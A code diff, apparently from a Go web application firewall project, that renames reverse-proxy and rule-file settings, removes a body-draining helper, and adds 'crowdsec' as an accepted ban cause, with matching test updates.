const minSendTime = 10 * time.Second const minSendTime = 10 * time.Second
// maxBodyReadAfterAnswer is the most of a body left unread that Go's server
// reads once the handler returns, for a visitor without Connection: close.
const maxBodyReadAfterAnswer = 256 << 10
// errResponseTooLate refuses an app's answer that arrives once // errResponseTooLate refuses an app's answer that arrives once
// SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out. // SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out.
var errResponseTooLate = errors.New( var errResponseTooLate = errors.New(
@@ -65,13 +61,12 @@ type request struct {
start time.Time start time.Time
// disposition is what is done with the request: waf's valid disposition, // disposition is what is done with the request: waf's valid disposition,
// or SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION. It is "" when neither // or SWW_RPROXY_DEFAULT_DISPOSITION. It is "" when neither gave one.
// gave one.
disposition string disposition string
// answered is true when waf gave disposition, which makes a report due, // answered is true when waf gave disposition, which makes a report due,
// and wafNoAnswer when SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION did. // and byDefault when SWW_RPROXY_DEFAULT_DISPOSITION did.
answered bool answered bool
wafNoAnswer bool byDefault bool
// asn and country are waf's X-Client-ASN and X-Client-Country, for the // asn and country are waf's X-Client-ASN and X-Client-Country, for the
// app. // app.
asn, country string asn, country string
@@ -343,8 +338,8 @@ func (rq *request) answer(status int) {
} }
// A visitor found too slow is read no more; any other may go on sending until // A visitor found too slow is read no more; any other may go on sending until
// its time is up, so that the rest of the body is read and the request ends // its time is up, so that Go's server can read the rest of the body and end
// cleanly: by Go's server, or by readRestOfBody. // the request cleanly.
deadline := rq.requestDeadline() deadline := rq.requestDeadline()
if status == http.StatusRequestTimeout { if status == http.StatusRequestTimeout {
deadline = time.Now() deadline = time.Now()
@@ -455,7 +450,7 @@ func (rq *request) finish(ctx context.Context) {
), ),
DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)), DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
Disposition: rq.disposition, Disposition: rq.disposition,
WAFBackendNoAnswer: rq.wafNoAnswer, DefaultDisposition: rq.byDefault,
}, },
) )
if err != nil { if err != nil {
@@ -528,35 +523,10 @@ func (rq *request) stopReadingBody(deadline time.Time) {
_ = rq.rc.SetReadDeadline(deadline) _ = rq.rc.SetReadDeadline(deadline)
} }
// readRestOfBody reads up to 256 KiB of the rest of the body once the visitor
// has been answered with a Content-Length, until the read deadline already set on
// the connection. It does this only for a body with a declared length from a
// visitor that sent Connection: close, because Go's server reads none of that
// rest. Without the read, the visitor, still sending, gets a reset and may never
// read the answer. Go's server ends an answer without a Content-Length only once
// the handler returns, so reading first would hold back the end of that answer.
// Past 256 KiB, the MaxBytesReader made with Go's own ResponseWriter has Go's
// server tell the visitor it sends no more, then wait 500 ms before it closes
// the connection.
func (rq *request) readRestOfBody() {
if !rq.in.Close || rq.in.ContentLength <= 0 || rq.body.received.Load() ||
rq.out.Header().Get("Content-Length") == "" ||
rq.out.status == http.StatusSwitchingProtocols {
return
}
rest := http.MaxBytesReader(
rq.out.ResponseWriter,
rq.in.Body,
maxBodyReadAfterAnswer,
)
_, _ = io.Copy(io.Discard, rest)
}
// stopPassingOnBody ends the transport's reading of a visitor's body that has // stopPassingOnBody ends the transport's reading of a visitor's body that has
// not arrived whole, and lets Go's server, or readRestOfBody, read the rest until // not arrived whole, and lets Go's server read the rest until deadline. Go's
// deadline. Go's server reads it once the handler returns, but with no deadline // server reads it once the handler returns, but with no deadline at all if
// at all if another read of it is still waiting. // another read of it is still waiting.
func (rq *request) stopPassingOnBody(deadline time.Time) { func (rq *request) stopPassingOnBody(deadline time.Time) {
if rq.body == nil || rq.body.received.Load() { if rq.body == nil || rq.body.received.Load() {
return return
internal/rproxy/rproxy.go
+6 -9
View File
@@ -1,10 +1,9 @@
// Package rproxy is the reverse proxy in front of one app that asks waf // Package rproxy is the reverse proxy in front of one app that asks waf
// about each request. It passes a request waf allows to the app and the // about each request. It passes a request waf allows to the app and the
// app's answer back, within the size and time limits. Any other answer from // app's answer back, within the size and time limits. Any other answer from
// waf goes to the visitor as waf gave it. // waf goes to the visitor as waf gave it. SWW_RPROXY_DEFAULT_DISPOSITION
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION decides only when waf cannot // decides only when waf cannot be connected to, does not answer at all, or
// be connected to, does not answer at all, or does not answer within // does not answer within SWW_RPROXY_TIMEOUT_MS. rproxy itself refuses a request with a
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. rproxy itself refuses a request with a
// method it does not pass on, or one it cannot put to waf as the visitor // method it does not pass on, or one it cannot put to waf as the visitor
// sent it. It keeps nothing between requests and writes nothing to disk. "rproxy" in // sent it. It keeps nothing between requests and writes nothing to disk. "rproxy" in
// SPEC.md says what it does. // SPEC.md says what it does.
@@ -109,8 +108,8 @@ func New(params Params) *Server {
} }
// WaitForReports returns once the reports being sent have gone or failed, // WaitForReports returns once the reports being sent have gone or failed,
// which SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS bounds. Any report after this call // which SWW_RPROXY_TIMEOUT_MS bounds. Any report after this call is dropped: that of
// is dropped: that of a WebSocket that closes while rproxy stops, for one. // a WebSocket that closes while rproxy stops, for one.
func (s *Server) WaitForReports() { func (s *Server) WaitForReports() {
s.h.reportsMu.Lock() s.h.reportsMu.Lock()
s.h.reportsStopped = true s.h.reportsStopped = true
@@ -170,7 +169,6 @@ func newWAFTransport() *http.Transport {
// it writes the request's log line and sends its report. // it writes the request's log line and sends its report.
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
rq := h.newRequest(w, r) rq := h.newRequest(w, r)
defer rq.readRestOfBody()
defer rq.finish(r.Context()) defer rq.finish(r.Context())
if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath { if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath {
@@ -219,8 +217,7 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
// passToApp passes the request on to the app, unless a limit or its path keeps // passToApp passes the request on to the app, unless a limit or its path keeps
// it from the app. waf answers a path under ownEndpointPrefix itself, so // it from the app. waf answers a path under ownEndpointPrefix itself, so
// such a request gets here only when // such a request gets here only when SWW_RPROXY_DEFAULT_DISPOSITION allowed it.
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION allowed it.
// ctx is the request's own context. // ctx is the request's own context.
func (rq *request) passToApp(ctx context.Context) { func (rq *request) passToApp(ctx context.Context) {
maxBytes := rq.h.config.MaxRequestSize maxBytes := rq.h.config.MaxRequestSize
internal/rproxy/rproxy_test.go
+36 -49
View File
@@ -44,8 +44,8 @@ const (
// The settings the tests set. // The settings the tests set.
const ( const (
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS" timeoutSetting = "SWW_RPROXY_TIMEOUT_MS"
noAnswerSetting = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION" defaultDisposition = "SWW_RPROXY_DEFAULT_DISPOSITION"
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES" trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE" maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE" maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
@@ -774,7 +774,7 @@ func TestDenyGivesTheVisitorWAFsAnswer(t *testing.T) {
line := out.requestLine(t) line := out.requestLine(t)
if line["disposition"] != dispositionDeny || if line["disposition"] != dispositionDeny ||
line["waf_backend_no_answer"] != nil { line["default_disposition"] != nil {
t.Errorf("line %v, want waf's deny", line) t.Errorf("line %v, want waf's deny", line)
} }
} }
@@ -956,8 +956,7 @@ func answeringWith(answer http.HandlerFunc) func(t *testing.T) string {
} }
} }
// noAnswers are the ways waf can leave the decision to // noAnswers are the ways waf can leave the decision to the default.
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION.
func noAnswers() map[string]func(t *testing.T) string { func noAnswers() map[string]func(t *testing.T) string {
return map[string]func(t *testing.T) string{ return map[string]func(t *testing.T) string{
"no connection": func(*testing.T) string { return nowhere }, "no connection": func(*testing.T) string { return nowhere },
@@ -1009,8 +1008,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
{"an unknown disposition", "maybe", "who knows\n", http.StatusOK}, {"an unknown disposition", "maybe", "who knows\n", http.StatusOK},
} { } {
for _, setting := range []string{dispositionAllow, dispositionDeny} { for _, setting := range []string{dispositionAllow, dispositionDeny} {
subtest := tc.name + " with " + noAnswerSetting + "=" + setting t.Run(tc.name+" with the default "+setting, func(t *testing.T) {
t.Run(subtest, func(t *testing.T) {
t.Parallel() t.Parallel()
standIn := startWAF( standIn := startWAF(
@@ -1033,7 +1031,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
standIn.URL, standIn.URL,
app.URL, app.URL,
map[string]string{ map[string]string{
noAnswerSetting: setting, defaultDisposition: setting,
}, },
) )
@@ -1049,9 +1047,9 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
line := out.requestLine(t) line := out.requestLine(t)
if line["status"] != float64(tc.status) || if line["status"] != float64(tc.status) ||
line["waf_backend_no_answer"] != nil { line["default_disposition"] != nil {
t.Errorf( t.Errorf(
"line %v, want status %d and no waf_backend_no_answer", "line %v, want status %d and no default",
line, line,
tc.status, tc.status,
) )
@@ -1111,7 +1109,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
_, _ = w.Write(make([]byte, size)) _, _ = w.Write(make([]byte, size))
}) })
addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{ addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
wafBackendTimeout: "60000", timeoutSetting: "60000",
}) })
got := get(t, addr, "/") got := get(t, addr, "/")
@@ -1204,8 +1202,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
"a 101 that holds its connection open": answeringWith(switchAndHold), "a 101 that holds its connection open": answeringWith(switchAndHold),
} { } {
for _, setting := range []string{dispositionAllow, dispositionDeny} { for _, setting := range []string{dispositionAllow, dispositionDeny} {
subtest := name + " with " + noAnswerSetting + "=" + setting t.Run(name+" with the default "+setting, func(t *testing.T) {
t.Run(subtest, func(t *testing.T) {
t.Parallel() t.Parallel()
app := startApp(t, func(http.ResponseWriter, *http.Request) { app := startApp(t, func(http.ResponseWriter, *http.Request) {
@@ -1216,8 +1213,8 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
backend(t), backend(t),
app.URL, app.URL,
map[string]string{ map[string]string{
wafBackendTimeout: "60000", timeoutSetting: "60000",
noAnswerSetting: setting, defaultDisposition: setting,
}, },
) )
@@ -1227,7 +1224,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
line := out.requestLine(t) line := out.requestLine(t)
if line["status"] != float64(http.StatusBadGateway) || if line["status"] != float64(http.StatusBadGateway) ||
line["disposition"] != nil || line["waf_backend_no_answer"] != nil { line["disposition"] != nil || line["default_disposition"] != nil {
t.Errorf( t.Errorf(
"line %v, want status 502 and no disposition", "line %v, want status 502 and no disposition",
line, line,
@@ -1245,7 +1242,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
standIn := startWAF(t, overOneMiB(dispositionDeny)) standIn := startWAF(t, overOneMiB(dispositionDeny))
addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{ addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
wafBackendTimeout: "60000", timeoutSetting: "60000",
}) })
if got := get(t, addr, "/"); got.status != http.StatusBadGateway { if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
@@ -1256,9 +1253,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
standIn.wantNoReport(t) standIn.wantNoReport(t)
} }
func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides( func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for name, backend := range noAnswers() { for name, backend := range noAnswers() {
@@ -1271,7 +1266,7 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
backend(t), backend(t),
app.URL, app.URL,
map[string]string{ map[string]string{
wafBackendTimeout: "200", timeoutSetting: "200",
}, },
) )
@@ -1279,11 +1274,8 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
line := out.requestLine(t) line := out.requestLine(t)
if line["disposition"] != dispositionAllow || if line["disposition"] != dispositionAllow ||
line["waf_backend_no_answer"] != true { line["default_disposition"] != true {
t.Errorf( t.Errorf("line %v, want allow by default", line)
"line %v, want allow and waf_backend_no_answer",
line,
)
} }
}) })
@@ -1298,8 +1290,8 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
backend(t), backend(t),
app.URL, app.URL,
map[string]string{ map[string]string{
wafBackendTimeout: "200", timeoutSetting: "200",
noAnswerSetting: dispositionDeny, defaultDisposition: dispositionDeny,
}, },
) )
@@ -1310,21 +1302,18 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
line := out.requestLine(t) line := out.requestLine(t)
if line["disposition"] != dispositionDeny || if line["disposition"] != dispositionDeny ||
line["waf_backend_no_answer"] != true { line["default_disposition"] != true {
t.Errorf( t.Errorf("line %v, want deny by default", line)
"line %v, want deny and waf_backend_no_answer",
line,
)
} }
}) })
} }
} }
func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) { func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
t.Parallel() t.Parallel()
for _, disposition := range []string{dispositionAllow, dispositionDeny} { for _, disposition := range []string{dispositionAllow, dispositionDeny} {
t.Run(noAnswerSetting+"="+disposition, func(t *testing.T) { t.Run("with the default "+disposition, func(t *testing.T) {
t.Parallel() t.Parallel()
standIn := startWAF( standIn := startWAF(
@@ -1341,8 +1330,8 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
standIn.URL, standIn.URL,
app.URL, app.URL,
map[string]string{ map[string]string{
wafBackendTimeout: "60000", timeoutSetting: "60000",
noAnswerSetting: disposition, defaultDisposition: disposition,
}, },
) )
@@ -1354,7 +1343,7 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
line := out.requestLine(t) line := out.requestLine(t)
if line["status"] != 0.0 || line["disposition"] != nil || if line["status"] != 0.0 || line["disposition"] != nil ||
line["waf_backend_no_answer"] != nil { line["default_disposition"] != nil {
t.Errorf("line %v, want status 0 and no disposition", line) t.Errorf("line %v, want status 0 and no disposition", line)
} }
@@ -1367,9 +1356,7 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
} }
} }
func TestRProxyWarnsWhenTheWAFBackendNoAnswerDispositionDecides( func TestRProxyWarnsWhenTheDefaultDecides(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
app := startApp(t, greet) app := startApp(t, greet)
@@ -1387,7 +1374,7 @@ func TestSendsNoReportWithoutAnAnswer(t *testing.T) {
}) })
app := startApp(t, greet) app := startApp(t, greet)
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{ addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
wafBackendTimeout: "200", timeoutSetting: "200",
}) })
wantGreeting(t, get(t, addr, "/")) wantGreeting(t, get(t, addr, "/"))
@@ -1451,7 +1438,7 @@ func TestTheVisitorDoesNotWaitForTheReport(t *testing.T) {
app := startApp(t, greet) app := startApp(t, greet)
addr, _ := startRProxy(t, backend, app.URL, map[string]string{ addr, _ := startRProxy(t, backend, app.URL, map[string]string{
wafBackendTimeout: "60000", timeoutSetting: "60000",
}) })
t.Cleanup(func() { close(release) }) t.Cleanup(func() { close(release) })
@@ -1494,7 +1481,7 @@ func TestAReportWAFLeavesUnansweredIsDroppedAtTheTimeLimit(t *testing.T) {
// The time limit is long enough for a loaded host to answer the question before // The time limit is long enough for a loaded host to answer the question before
// it runs out. // it runs out.
addr, out := startRProxy(t, backend, app.URL, map[string]string{ addr, out := startRProxy(t, backend, app.URL, map[string]string{
wafBackendTimeout: "3000", timeoutSetting: "3000",
}) })
t.Cleanup(func() { close(release) }) t.Cleanup(func() { close(release) })
@@ -1524,7 +1511,7 @@ func TestAReportAnswered101IsDroppedAtOnce(t *testing.T) {
backend := startWAFAnsweringReports(t, allow, switchAndHold) backend := startWAFAnsweringReports(t, allow, switchAndHold)
app := startApp(t, greet) app := startApp(t, greet)
addr, out := startRProxy(t, backend, app.URL, map[string]string{ addr, out := startRProxy(t, backend, app.URL, map[string]string{
wafBackendTimeout: "60000", timeoutSetting: "60000",
}) })
wantGreeting(t, get(t, addr, "/")) wantGreeting(t, get(t, addr, "/"))
@@ -1612,7 +1599,7 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
backend.URL, backend.URL,
app.URL, app.URL,
map[string]string{ map[string]string{
wafBackendTimeout: "5000", timeoutSetting: "5000",
}, },
) )
@@ -1905,10 +1892,10 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
} }
} }
if line["waf_backend_no_answer"] != nil { if line["default_disposition"] != nil {
t.Errorf( t.Errorf(
"waf_backend_no_answer is %v, want it left out", "default_disposition is %v, want it left out",
line["waf_backend_no_answer"], line["default_disposition"],
) )
} }
internal/rproxy/waf.go
+11 -12
View File
@@ -67,16 +67,15 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
rq.answer(http.StatusBadGateway) rq.answer(http.StatusBadGateway)
default: default:
// waf cannot be connected to, does not answer at all, or does not answer // waf cannot be connected to, does not answer at all, or does not answer
// within SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. A request that keeps waf // within SWW_RPROXY_TIMEOUT_MS. A request that keeps waf busy past
// busy past SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS, like any request while // SWW_RPROXY_TIMEOUT_MS, like any request while waf is overloaded, gets
// waf is overloaded, gets SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION // SWW_RPROXY_DEFAULT_DISPOSITION here. deny closes this, at the cost of answering 503
// here. deny closes this, at the cost of answering 503 whenever waf is // whenever waf is slow. Making such requests hard to send is
// slow. Making such requests hard to send is
// https://git.eeqj.de/sneak/smallwebwaf/issues/182. // https://git.eeqj.de/sneak/smallwebwaf/issues/182.
rq.h.processLog.Warn("waf gave no answer", "error", err.Error()) rq.h.processLog.Warn("waf gave no answer", "error", err.Error())
rq.disposition = rq.h.config.WAFBackendNoAnswerDisposition rq.disposition = rq.h.config.DefaultDisposition
rq.wafNoAnswer = true rq.byDefault = true
if rq.disposition == waf.DispositionAllow { if rq.disposition == waf.DispositionAllow {
rq.passToApp(ctx) rq.passToApp(ctx)
@@ -87,10 +86,10 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
} }
// ask sends waf the question, and returns its answer, which must have come // ask sends waf the question, and returns its answer, which must have come
// whole within SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It ends when ctx does, as // whole within SWW_RPROXY_TIMEOUT_MS. It ends when ctx does, as when the visitor goes
// when the visitor goes away. // away.
func (rq *request) ask(ctx context.Context) (*wafAnswer, error) { func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
ctx, cancel := context.WithTimeout(ctx, rq.h.config.WAFBackendTimeout) ctx, cancel := context.WithTimeout(ctx, rq.h.config.Timeout)
defer cancel() defer cancel()
question, err := rq.newQuestion(ctx) question, err := rq.newQuestion(ctx)
@@ -243,14 +242,14 @@ func (h *handler) sendReport(ctx context.Context, report *waf.Report) {
} }
// postReport posts report to waf, and waits for its answer for up to // postReport posts report to waf, and waits for its answer for up to
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. // SWW_RPROXY_TIMEOUT_MS.
func (h *handler) postReport(ctx context.Context, report *waf.Report) error { func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
body, err := json.Marshal(report) body, err := json.Marshal(report)
if err != nil { if err != nil {
return fmt.Errorf("encode the report: %w", err) return fmt.Errorf("encode the report: %w", err)
} }
ctx, cancel := context.WithTimeout(ctx, h.config.WAFBackendTimeout) ctx, cancel := context.WithTimeout(ctx, h.config.Timeout)
defer cancel() defer cancel()
req, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL req, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
internal/rules/rules.go
+6 -6
View File
@@ -1,5 +1,5 @@
// Package rules reads the rule files: the plain text files in // Package rules reads the rule files: the plain text files in
// SWW_WAF_RULE_FILES_DIR, one rule to a line, that each request is checked // SWW_WAF_RULES_DIR, one rule to a line, that each request is checked
// against, as the "Rule files" section of SPEC.md describes. They are read // against, as the "Rule files" section of SPEC.md describes. They are read
// at start, and again once the directory has had no change for a short // at start, and again once the directory has had no change for a short
// time after one is edited, added or removed. // time after one is edited, added or removed.
@@ -40,7 +40,7 @@ const (
// extension ends the name of every rule file. // extension ends the name of every rule file.
const extension = ".rules" const extension = ".rules"
// quietTime is how long SWW_WAF_RULE_FILES_DIR must go without a change before // quietTime is how long SWW_WAF_RULES_DIR must go without a change before
// the rule files are read again, so that a file still being written, such // the rule files are read again, so that a file still being written, such
// as one saved in place, appended to or copied in with scp, is read only // as one saved in place, appended to or copied in with scp, is read only
// once whole. // once whole.
@@ -103,9 +103,9 @@ type Rule struct {
// Params are what Load needs. // Params are what Load needs.
type Params struct { type Params struct {
// Dir is the directory of the rule files (SWW_WAF_RULE_FILES_DIR). // Dir is the directory of the rule files (SWW_WAF_RULES_DIR).
Dir string Dir string
// Enabled is SWW_WAF_RULE_FILES_ENABLED: while it is false, no file is read // Enabled is SWW_WAF_RULES_ENABLED: while it is false, no file is read
// and no rule loaded. // and no rule loaded.
Enabled bool Enabled bool
// ProcessLog receives how many rules were read, and the error in a // ProcessLog receives how many rules were read, and the error in a
@@ -275,7 +275,7 @@ func read(dir string) ([]Rule, string, error) {
entries, err := os.ReadDir(dir) entries, err := os.ReadDir(dir)
if err != nil { if err != nil {
return nil, dir, fmt.Errorf( return nil, dir, fmt.Errorf(
"SWW_WAF_RULE_FILES_DIR cannot be read: %w", "SWW_WAF_RULES_DIR cannot be read: %w",
err, err,
) )
} }
@@ -310,7 +310,7 @@ func readFile(
rules []Rule, rules []Rule,
places map[string]string, places map[string]string,
) ([]Rule, error) { ) ([]Rule, error) {
//nolint:gosec // a rule file, in SWW_WAF_RULE_FILES_DIR //nolint:gosec // a rule file, in SWW_WAF_RULES_DIR
data, err := os.ReadFile(path) data, err := os.ReadFile(path)
if err != nil { if err != nil {
return nil, err return nil, err
internal/rules/rules_test.go
+2 -2
View File
@@ -323,7 +323,7 @@ func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
dir := filepath.Join(t.TempDir(), "rules.d") dir := filepath.Join(t.TempDir(), "rules.d")
wantRefused(t, dir, "SWW_WAF_RULE_FILES_DIR cannot be read: open "+dir+ wantRefused(t, dir, "SWW_WAF_RULES_DIR cannot be read: open "+dir+
": no such file or directory") ": no such file or directory")
} }
@@ -352,7 +352,7 @@ func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
func TestRuleFilesOffReadNothing(t *testing.T) { func TestRuleFilesOffReadNothing(t *testing.T) {
t.Parallel() t.Parallel()
// SWW_WAF_RULE_FILES_DIR does not exist, which would stop the start. // SWW_WAF_RULES_DIR does not exist, which would stop the start.
params, _ := newParams(filepath.Join(t.TempDir(), "rules.d")) params, _ := newParams(filepath.Join(t.TempDir(), "rules.d"))
params.Enabled = false params.Enabled = false
internal/state/state.go
+13 -12
View File
@@ -104,7 +104,7 @@ var (
errVersion = errors.New("unknown version") errVersion = errors.New("unknown version")
// errMissing is for an entry without a field it needs. // errMissing is for an entry without a field it needs.
errMissing = errors.New("has no") errMissing = errors.New("has no")
errCause = errors.New("is not limit, attack or admin") errCause = errors.New("is not limit, attack, admin or crowdsec")
errExpires = errors.New("is not after its start") errExpires = errors.New("is not after its start")
errDestination = errors.New("is not webhook, slack or ntfy") errDestination = errors.New("is not webhook, slack or ntfy")
errScope = errors.New( errScope = errors.New(
@@ -123,11 +123,11 @@ type Params struct {
// CacheDir that of the cache files (SWW_WAF_CACHE_DIR). // CacheDir that of the cache files (SWW_WAF_CACHE_DIR).
Dir string Dir string
CacheDir string CacheDir string
// BansWriteDelay is how long after a ban is made bans.json is written // WriteDelay is how long after a ban is made bans.json is written
// (SWW_WAF_BANS_WRITE_DELAY), and WriteInterval how often every file // (SWW_WAF_STATE_WRITE_DELAY), and CounterInterval how often every file
// is (SWW_WAF_STATE_WRITE_INTERVAL). // is (SWW_WAF_STATE_COUNTER_INTERVAL).
BansWriteDelay time.Duration WriteDelay time.Duration
WriteInterval time.Duration CounterInterval time.Duration
// Ledger, Limiter, GeoJS, Lists, DNSBL, AbuseIPDB, RouteWatch, Alerts and // Ledger, Limiter, GeoJS, Lists, DNSBL, AbuseIPDB, RouteWatch, Alerts and
// Anomalies hold the state. RouteWatch is nil while SWW_WAF_ROUTEWATCH_URL is // Anomalies hold the state. RouteWatch is nil while SWW_WAF_ROUTEWATCH_URL is
// unset, and routewatch.json then holds no answers. Alerts also receive a // unset, and routewatch.json then holds no answers. Alerts also receive a
@@ -318,13 +318,13 @@ func Load(params Params) (*Files, error) {
return f, nil return f, nil
} }
// Run writes bans.json BansWriteDelay after a ban is made, with every ban // Run writes bans.json WriteDelay after a ban is made, with every ban
// made in between, and every file every WriteInterval, until ctx is // made in between, and every file every CounterInterval, until ctx is
// done. A write that fails is logged, raised as a file_error alert, and // done. A write that fails is logged, raised as a file_error alert, and
// the file is written again at its next write. Each write takes in an // the file is written again at its next write. Each write takes in an
// admin's edit of its file first, as writeFile describes. // admin's edit of its file first, as writeFile describes.
func (f *Files) Run(ctx context.Context) { func (f *Files) Run(ctx context.Context) {
interval := time.NewTicker(f.params.WriteInterval) interval := time.NewTicker(f.params.CounterInterval)
defer interval.Stop() defer interval.Stop()
var bansDue <-chan time.Time // nil while no ban waits to be written var bansDue <-chan time.Time // nil while no ban waits to be written
@@ -335,7 +335,7 @@ func (f *Files) Run(ctx context.Context) {
return return
case <-f.params.Ledger.Changed(): case <-f.params.Ledger.Changed():
if bansDue == nil { if bansDue == nil {
bansDue = time.After(f.params.BansWriteDelay) bansDue = time.After(f.params.WriteDelay)
} }
case <-bansDue: case <-bansDue:
bansDue = nil bansDue = nil
@@ -967,7 +967,7 @@ func (e BanEntry) ban() bans.Ban {
// each expires is read again as written. An expires not after the start // each expires is read again as written. An expires not after the start
// is refused too, since the netblock's next ban for a broken limit, three // is refused too, since the netblock's next ban for a broken limit, three
// times as long as this one, would then refuse nothing; and so is a cause // times as long as this one, would then refuse nothing; and so is a cause
// other than limit, attack or admin, most likely misspelt. // other than limit, attack, admin or crowdsec, most likely misspelt.
func (f *bansFile) check(data []byte) error { func (f *bansFile) check(data []byte) error {
var written struct { var written struct {
Bans []struct { Bans []struct {
@@ -991,7 +991,8 @@ func (f *bansFile) check(data []byte) error {
case entry.Expires != nil && !entry.Expires.After(entry.Start): case entry.Expires != nil && !entry.Expires.After(entry.Start):
return fmt.Errorf("entry %d's expires %w", i+1, errExpires) return fmt.Errorf("entry %d's expires %w", i+1, errExpires)
case entry.Cause != "" && entry.Cause != bans.CauseLimit && case entry.Cause != "" && entry.Cause != bans.CauseLimit &&
entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin: entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin &&
entry.Cause != bans.CauseCrowdSec:
return fmt.Errorf( return fmt.Errorf(
"entry %d's cause %q %w", "entry %d's cause %q %w",
i+1, i+1,
internal/state/state_test.go
+29 -19
View File
@@ -114,7 +114,8 @@ const permanentBansJSON = `{
"earlier_bans": { "earlier_bans": {
"limit": 3, "limit": 3,
"attack": 1, "attack": 1,
"admin": 1 "admin": 1,
"crowdsec": 2
} }
} }
} }
@@ -1187,10 +1188,10 @@ func TestBanWithAnotherCauseStopsTheStart(t *testing.T) {
`{"netblock": "203.0.113.10/32", "start": "2026-10-06T00:00:00Z", `+ `{"netblock": "203.0.113.10/32", "start": "2026-10-06T00:00:00Z", `+
`"expires": null, "cause": "admin"}, `+ `"expires": null, "cause": "admin"}, `+
`{"netblock": "203.0.113.11/32", "start": "2026-10-06T00:00:00Z", `+ `{"netblock": "203.0.113.11/32", "start": "2026-10-06T00:00:00Z", `+
`"expires": "2026-10-06T04:00:00Z", "cause": "limit"}, `+ `"expires": "2026-10-06T04:00:00Z", "cause": "crowdsec"}, `+
`{"netblock": "203.0.113.12/32", "start": "2026-10-06T00:00:00Z", `+ `{"netblock": "203.0.113.12/32", "start": "2026-10-06T00:00:00Z", `+
`"expires": null, "cause": "atack"}]}`, `"expires": null, "cause": "atack"}]}`,
`: entry 4's cause "atack" is not limit, attack or admin`) `: entry 4's cause "atack" is not limit, attack, admin or crowdsec`)
} }
func TestBanThatDoesNotEndAfterItsStartStopsTheStart(t *testing.T) { func TestBanThatDoesNotEndAfterItsStartStopsTheStart(t *testing.T) {
@@ -1272,13 +1273,13 @@ func TestUnwritableDirectoryStopsTheStart(t *testing.T) {
// returns once Run waits for its next write, so that every write due by // returns once Run waits for its next write, so that every write due by
// then is on disk. // then is on disk.
